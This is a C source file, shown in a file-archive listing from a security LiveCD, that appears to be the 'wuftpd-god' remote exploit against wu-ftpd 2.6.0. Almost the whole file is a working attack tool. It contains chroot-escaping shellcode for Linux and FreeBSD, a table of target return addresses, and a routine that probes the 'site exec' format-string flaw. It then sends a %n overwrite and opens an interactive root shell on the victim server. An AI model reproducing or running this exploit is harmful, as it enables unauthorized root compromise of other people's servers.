home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wuftpd-god.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  19KB  |  623 lines

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <sys/time.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <signal.h>
  12. #include <errno.h>
  13.  
  14. #ifdef __linux
  15. #include <getopt.h>
  16. #endif
  17.  
  18. #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
  19. #define GREEN "\033[32m"
  20. #define RED "\033[31m"
  21. #define NORM "\033[0m"
  22.  
  23. char infin_loop[]= /* for testing purposes */
  24.  "\xEB\xFE";
  25.  
  26. char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  27.  "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  28.  "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  29.  "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
  30.  "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
  31.  "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
  32.  "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
  33.  "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
  34.  "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
  35.  "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
  36.  "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
  37.  "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
  38.  "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
  39.  "\x67\x6c\x69\x6e";
  40.  
  41. char bsd_code_d[]= /* you should call it directly (no jump/call)*/
  42.  "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
  43.  "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
  44.  "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
  45.  "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
  46.  "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
  47.  "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
  48.  "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
  49.  "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
  50.  "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
  51.  "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
  52.  "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
  53.  
  54. char linuxcode[]= /* Lam3rZ chroot() code */
  55.  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  56.  "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  57.  "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  58.  "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  59.  "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  60.  "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  61.  "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  62.  "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  63.  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  64.  "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  65.  "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
  66.  
  67. #define MAX_FAILED      4
  68. #define MAX_MAGIC       100
  69. static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
  70. static char *magic_str=NULL;
  71. int before_len=0;
  72. char *target=NULL,*username="ftp",*password=NULL;
  73. struct targets getit;
  74.  
  75. struct targets {
  76.     int def;
  77.     char *os_descr, *shellcode;
  78.     int delay;
  79.     u_long pass_addr, addr_ret_addr;
  80.     int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
  81. };
  82.  
  83. struct targets targ[]={
  84.     {0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
  85.     {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
  86.     {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
  87.     {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
  88.     {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
  89.  
  90.     {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
  91.     {1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
  92.     {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
  93.     {0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
  94.     {0,NULL,NULL,0,0,0,{0},{0},0}
  95. };
  96.  
  97. void usage(char*zu,int q){
  98. int i, n, padding;
  99. fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
  100. "         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
  101. "target    : host with any wuftpd\nuser      : anonymous user\n"
  102. "dir       : if not anonymous user, you need to have writable directory\n"
  103. "magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
  104. "-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
  105. "ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
  106.  for(i=0;targ[i].os_descr!=NULL;i++){
  107.   padding=0;
  108.   fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
  109.   if(q>1){
  110.    fprintf(stderr,"     Magic ID: [");
  111.    for(n=0;targ[i].magic[n]!=0;n++){
  112.     if(targ[i].magic_d[n]==4)
  113.      padding=targ[i].magic[n];
  114.     fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
  115.     if(targ[i].magic[n+1]!=0)
  116.      fprintf(stderr,":");
  117.    }
  118.    fprintf(stderr,"] Padding: %d\n",padding);
  119.    fflush(stderr);
  120.   }
  121.  }
  122.  exit(1);
  123. }
  124.  
  125. int connect_to_server(char*host){
  126.  struct hostent *hp;
  127.  struct sockaddr_in cl;
  128.  int sock;    
  129.     
  130.  if(host==NULL||*host==(char)0){
  131.   fprintf(stderr,"Invalid hostname\n");
  132.   exit(1);
  133.  }
  134.  if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
  135.   if((hp=gethostbyname(host))==NULL) {
  136.    fprintf(stderr,"Cannot resolve %s\n",host);
  137.    exit(1);
  138.   }
  139.   memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
  140.  }
  141.  if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  142.   fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
  143.   exit(1);
  144.  }
  145.  cl.sin_family=PF_INET;
  146.  cl.sin_port=htons(21);
  147.  if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
  148.   fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
  149.   exit(1);
  150.  }
  151.  return sock;
  152. }
  153.  
  154. int ftp_recv(int sock,char*buf,int buf_size,int disc){
  155.  int n=0;
  156.  char q;
  157.     
  158.  if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
  159.  else {
  160.   (void)bzero(buf,buf_size);
  161.   n=recv(sock,buf,buf_size,0);
  162.   if(n<0){
  163.    fprintf(stderr,"ftp_recv: recv failed\n");
  164.    exit(1);
  165.   }
  166.   buf[n]=0;
  167.  }
  168.  return n;
  169. }
  170. int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
  171.  int n;
  172.  n=send(sock,what,size,0);
  173.  if(n!=size){
  174.   fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
  175.   shutdown(sock,2);
  176.   close(sock);
  177.   exit(1);
  178.  }
  179.  if(f)
  180.   return ftp_recv(sock,ans,ans_size,0);
  181.  return 0;
  182. }
  183.  
  184. int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
  185.  ftp_send(sock,buff,buff_len,q,ans,ans_len);
  186.  if(strncmp(ans,"200-",4)==0)
  187.    ftp_recv(sock,NULL,0,1);
  188.  else
  189.   ftp_recv(sock,ans,ans_len,0);
  190.     
  191.  if(strncmp(ans,"200-",4)){
  192.   fprintf(stderr,"Cannot find site exec response string\n");
  193.   exit(1);
  194.  }
  195.  return 0;
  196. }
  197.  
  198. void ftp_login(int sock,char*u_name,char*u_pass)
  199. {
  200.  char buff[2048];
  201.   printf("loggin into system..\n");
  202.   snprintf(buff,2047,"USER %s\r\n", u_name);
  203.   ftp_send(sock, buff,strlen(buff),1,buff,2047);
  204.   printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  205.   snprintf(buff,2047,"PASS %s\r\n",u_pass);
  206.   printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  207.   ftp_send(sock,buff,strlen(buff),1,buff,2047);
  208.   while(strstr(buff,"230 ")==NULL){
  209.    (void)bzero(buff,2048);
  210.    ftp_recv(sock,buff,2048,0);
  211.   }
  212.   printf("%s",buff);
  213.   return;
  214. }
  215.  
  216. void ftp_mkchdir(int sock,char*cd,char*new)
  217. {
  218.  char buff[2048];
  219.  
  220.  sprintf(buff,"CWD %s\r\n",cd);
  221.  printf(GREEN"%s"NORM,buff);
  222.  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  223.  printf("%s",buff);
  224.  sprintf(buff,"MKD %s\r\n",new);
  225.  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  226.  printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
  227.  sprintf(buff,"CWD %s\r\n",new);
  228.  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  229.  printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
  230.  return;
  231. }
  232. void process_possibly_rooted(int sock)
  233. {
  234.  fd_set     fd_read;
  235.  char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
  236.  int n;
  237.  
  238.  FD_ZERO(&fd_read);
  239.  FD_SET(sock, &fd_read);
  240.  FD_SET(0, &fd_read);
  241.  send(sock, cmd, strlen(cmd), 0);
  242.  while(1) {
  243.   FD_SET(sock,&fd_read);
  244.   FD_SET(0,&fd_read);
  245.   if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  246.   if( FD_ISSET(sock, &fd_read) ) {
  247.    if((n=recv(sock,buff,sizeof(buff),0))<0){
  248.      fprintf(stderr, "EOF\n");
  249.      exit(2);
  250.    }
  251.    if(write(1,buff,n)<0)break;
  252.   }
  253.   if ( FD_ISSET(0, &fd_read) ) {
  254.     if((n=read(0,buff,sizeof(buff)))<0){    
  255.       fprintf(stderr,"EOF\n");
  256.       exit(2);
  257.     }
  258.     if(send(sock,buff,n,0)<0) break;
  259.   }
  260.   usleep(10);    
  261.  }
  262.  fprintf(stderr,"Connection aborted, select failed()\n");
  263.  exit(0);
  264. }
  265.  
  266. int magic_check_f(int sock, char *str) {
  267.  char q[2048], ans[2048];
  268.  
  269.  snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
  270.  if( strstr( q, "\r\n") == NULL) {
  271.   fprintf(stderr,"Line TOO big..\n");
  272.   exit(-1);
  273.  }
  274.  ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
  275.  if( before_len+10 < strlen(&ans[3]) ) return 0;
  276.  before_len=strlen(&ans[3]);
  277.  (void)strcat(str,"%.f");
  278.  return 1;
  279. }
  280. int magic_check_o(int sock, char *str) {
  281.  char q[2048], ans[2048];
  282.   snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  283.   if( strstr( q, "\r\n") == NULL) {
  284.    fprintf(stderr,"Line TOO big..\n");
  285.    exit(-1);
  286.   }
  287.  ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
  288.  if( before_len== strlen(&ans[3]) ) {
  289.   before_len+=1;
  290.   (void)strcat(str, "%d");
  291.   return 3;
  292.  }
  293.  before_len=strlen(&ans[3]);
  294.  (void)strcat(str,"%c");
  295.  return 2;
  296. }
  297.  
  298. int magic_check_ok( int sock, char *str)
  299. {
  300.  char q[2048], ans[2048];
  301.  int i ,n=1, f, padding=0;
  302.     
  303.  snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
  304.  if ( strstr(q, "\r\n" ) == NULL) {
  305.   fprintf(stderr, "Line too long\n");
  306.   exit(-1);
  307.  }
  308.  (void)bzero(ans, 2048);
  309.  ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
  310.  if(strstr(ans,"0x61616161")==NULL)
  311.    return 0;
  312.  for(i =0; i < MAX_MAGIC && magic[i]; i++);
  313.  magic_d[i]=4;
  314.  while(n){
  315.   for(f=0; f< 2; f++) {
  316.    snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
  317.    (void)bzero(ans, 2048);
  318.    ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
  319.    if( strstr(ans, "0x61616161")!=NULL) {
  320.     if (f==0) {
  321.      magic[i]=padding;
  322.      return 1;
  323.     } else if( f==1) {
  324.      strcat(str,"%p");
  325.      magic[i]=padding;
  326.      return 1;
  327.     }
  328.    }
  329.   }
  330.   if(padding > 4) {
  331.    fprintf(stderr,"Cannot calculate padding..\n");
  332.    exit(1);
  333.   }
  334.   padding++;        
  335.  }
  336.  return 1;
  337. }
  338.  
  339.  
  340. int magic_digger(int sock)
  341. {
  342.  int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
  343.     
  344.  if(magic_str==NULL){
  345.   if((magic_str=(char*)malloc(4092))==NULL){
  346.    perror("malloc");
  347.    exit(errno);
  348.   }
  349.  }
  350.  (void)bzero(magic_str, 4092);
  351.  where=0;
  352.  while(get_out) {
  353.   int q;
  354.   if( where >= MAX_MAGIC-1 || all_failed <= 0 )
  355.     return -1;
  356.   if( magic_check_f(sock, magic_str) ) {
  357.    o=0,f++;
  358.     if(f==1){
  359.      if(!magic[where])
  360.       magic[where]=1;
  361.      else
  362.       magic[++where]+=1;
  363.     magic_d[where]=1;
  364.     } else
  365.      magic[where]+=1;
  366.    all_failed=MAX_FAILED*2;
  367.    printf("%s", "%.f"); fflush(stdout);
  368.    goto verify;
  369.   }
  370.   all_failed--;
  371.   if((q=magic_check_o(sock,magic_str))){
  372.    f=0,o++;
  373.     if(o==1){
  374.      if(!magic[where])
  375.       magic[0]=1;
  376.      else
  377.       magic[++where]+=1;
  378.     magic_d[where]=q;
  379.    } else {
  380.     if(magic_d[where]==q)
  381.      magic[where]+=1;
  382.     else {
  383.      magic[++where]=1;
  384.      magic_d[where]=q;
  385.     }
  386.    }
  387.    all_failed=MAX_FAILED*2;
  388.    printf("%s", q==2?"%c":"%d");
  389.    fflush(stdout);
  390.    goto verify;
  391.   }
  392.   all_failed--;
  393.   continue;
  394.   verify:
  395.   if(magic_check_ok(sock,magic_str)){
  396.    putchar('\n');
  397.    return 0;
  398.   }
  399.  }
  400.  return 0;
  401. }
  402.  
  403. int main(int argc, char *argv[]){
  404.     char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
  405.     int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
  406.     u_long ret_addr=0, pass_addr=0;
  407.     for(i=0;targ[i].os_descr!=NULL;i++);
  408.     while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
  409.     switch(c) {
  410.      case 't': target=optarg;break;
  411.      case 'l':
  412.        username=optarg;
  413.        passwd=strchr(optarg,'/');
  414.        if(passwd==NULL)
  415.         usage(argv[0],0);
  416.        *passwd++=(char)0;
  417.        break;
  418.      case 'x': testmode=1; break;
  419.      case 'o': offset=atoi(optarg);break;
  420.      case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
  421.      case 'g': gm=1; break;
  422.      case 'M': dir=optarg;mtype=1;break;
  423.      case 'm':
  424.        {
  425.         int where=0;
  426.         if(!*optarg) {
  427.           fprintf(stderr,"-m requires argument, try -h for help\n");
  428.           exit(1);
  429.         }
  430.         while(1) {
  431.           magic[where]=strtoul(optarg,&optarg,16);
  432.           optarg=strchr(optarg,',');
  433.           if(optarg==NULL){
  434.             printf("comma missing\n");
  435.         exit(1);
  436.           }
  437.           optarg++;
  438.           magic_d[where++]=strtoul(optarg,&optarg,16);
  439.           if(strchr(optarg,':')==NULL){
  440.            magic[where]=magic_d[where]=0;
  441.            break;
  442.           }
  443.           optarg=strchr(optarg,':');
  444.           optarg++;
  445.         }
  446.        }
  447.        break;
  448.       case 's':
  449.         num=atoi(optarg);
  450.         if(num>i) {
  451.          fprintf(stderr,"systype too big, try -h for help\n");
  452.          exit(1);
  453.         } 
  454.         break;
  455.       case 'r':
  456.         ret_addr=strtoul(optarg,&optarg,16);
  457.         break;
  458.       case 'P':
  459.         padding=atoi(optarg);
  460.         break;
  461.       case 'H':
  462.          bla=2;
  463.       default: usage(argv[0],bla);break;
  464.      }
  465.         }
  466.     if(target==NULL){
  467.       fprintf(stderr,"No target specified, try -h for help\n");
  468.       exit(1);
  469.     }
  470.     if(num==-1||num==-2) {
  471.       for(i=0;!targ[i].def;i++);
  472.       num=i;
  473.     }
  474.     (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
  475.  
  476.     if(magic[1]!=0) {
  477.      memcpy((void*)getit.magic,magic,sizeof(magic));
  478.      memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
  479.     }
  480.  
  481.     if(ret_addr)getit.addr_ret_addr=ret_addr;
  482.     if(pass_addr)getit.pass_addr=pass_addr;
  483.  
  484.     getit.addr_ret_addr+=(offset*4);
  485.  
  486.      sock=connect_to_server(target);
  487.     memset(shellcode, '\x90', sizeof(shellcode));
  488.     shellcode[sizeof(shellcode)-1]=(char)0;
  489.     if(!mtype){
  490.      memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
  491.      shellcode[sizeof(shellcode)-1]=(char)0;
  492.     }else{
  493.      memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
  494.      shellcode[250-1]=(char)0;
  495.     }
  496.     printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
  497.     printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
  498.  
  499.     buff=(char *)malloc(1024);
  500.     bzero(buff,1024);
  501.  
  502.     (void)ftp_recv(sock,NULL,0,1);
  503.  
  504.     (void)ftp_login(sock,username,passwd);
  505.  
  506.     if(gm||(magic_str==NULL&&getit.magic[0]==0)){
  507.      printf("STEP 2A: Generating magic string: ");
  508.      fflush(stdout);
  509.      magic_digger(sock);
  510.      memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
  511.      memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
  512.      printf("STEP 2B: MAGIC STRING: [");
  513.     } else {
  514.       printf("STEP 2 : Skipping, magic number already exists: [");
  515.     }
  516.     for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
  517.      printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
  518.      if(getit.magic[i+1]!=0)
  519.          putchar(':');
  520.     }
  521.     printf("]\n");
  522.     buff=(char *)realloc(buff, 4092);
  523.     (void)bzero(buff, 4092);
  524.         if(mtype)
  525.          ftp_mkchdir(sock,dir,shellcode);
  526.     printf("STEP 3 : Checking if we can reach our return address by format string\n");
  527.     if(!magic_str){
  528.       magic_str=(char*)malloc(2048);
  529.       if(magic_str==NULL) {
  530.         perror("malloc");
  531.         exit(errno);
  532.       }
  533.       (void)bzero(magic_str,2048);
  534.       for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
  535.        switch(getit.magic_d[i]) {
  536.         case 1:
  537.            for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
  538.            break;
  539.         case 2:
  540.            for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
  541.            break;
  542.         case 3:
  543.            for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
  544.            break;
  545.         case 4:if(padding<0)padding=getit.magic[i];break;
  546.         default:fprintf(stderr,"STEP 3: INternal error\n");
  547.            exit(1);
  548.            break;
  549.        }
  550.      }
  551.     }
  552.     if(padding<0){
  553.       for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
  554.       if(num<(MAX_MAGIC-1))
  555.         padding=getit.magic[num];
  556.       else
  557.         fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
  558.     }
  559.     
  560.     if(!getit.islinux){
  561.       if(!testmode)
  562.        snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
  563.      else
  564.        snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
  565.     } else {
  566.       if(!testmode)
  567.        snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
  568.      else
  569.        snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
  570.     }
  571.     sleep(getit.delay);
  572.     fflush(stdout);
  573.     if((buff_p=(char *)malloc(4096))==NULL){
  574.       fprintf(stderr,"malloc failed.\n");
  575.       exit(1);
  576.     }
  577.     (void)bzero(buff_p,4096);
  578.     ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
  579.     if((buff_p2=strchr(buff_p,'\r'))!=NULL)
  580.      *buff_p2=(char)0;
  581.     if((buff_p2=strchr(buff_p,'\n'))!=NULL)
  582.      *buff_p2=(char)0;
  583.     buff_p2=strstr(buff_p,"|0x");
  584.     if(buff_p2==NULL){
  585.       fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
  586.       exit(1);
  587.     }
  588.     buff_p2+=3;
  589.     if(!testmode)
  590.       printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
  591.     else
  592.       printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
  593.     sleep(getit.delay);
  594.     buff_p2=strstr(buff, "%.f");
  595.     *buff_p2++=(char )0;
  596.     strcpy(buff_p, buff);
  597.     if(!testmode)
  598.       sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
  599.     else
  600.       sprintf(buff_p+strlen(buff_p),"%s","%d%d");
  601.     strcpy(buff_p+strlen(buff_p), buff_p2);
  602.     buff_p2=strchr(buff_p,'|');
  603.     buff_p2++;
  604.     printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
  605.     if(!testmode){
  606.       strcpy(buff_p2,"%n\r\n");
  607.       ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
  608.     } else {
  609.       (void)bzero(buff,4096);
  610.       strcpy(buff_p2,"%s\r\n");
  611.       ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
  612.       printf("got answer: %s\n",buff);
  613.       exit(0);
  614.     }
  615.     free(buff_p);
  616.     free(buff);
  617.     signal(SIGINT, SIG_IGN);
  618.     signal(SIGHUP, SIG_IGN);
  619.     printf(RED"Press ^\\ to leave shell"NORM"\n");
  620.     process_possibly_rooted(sock);
  621.     return 0;
  622. }
  623.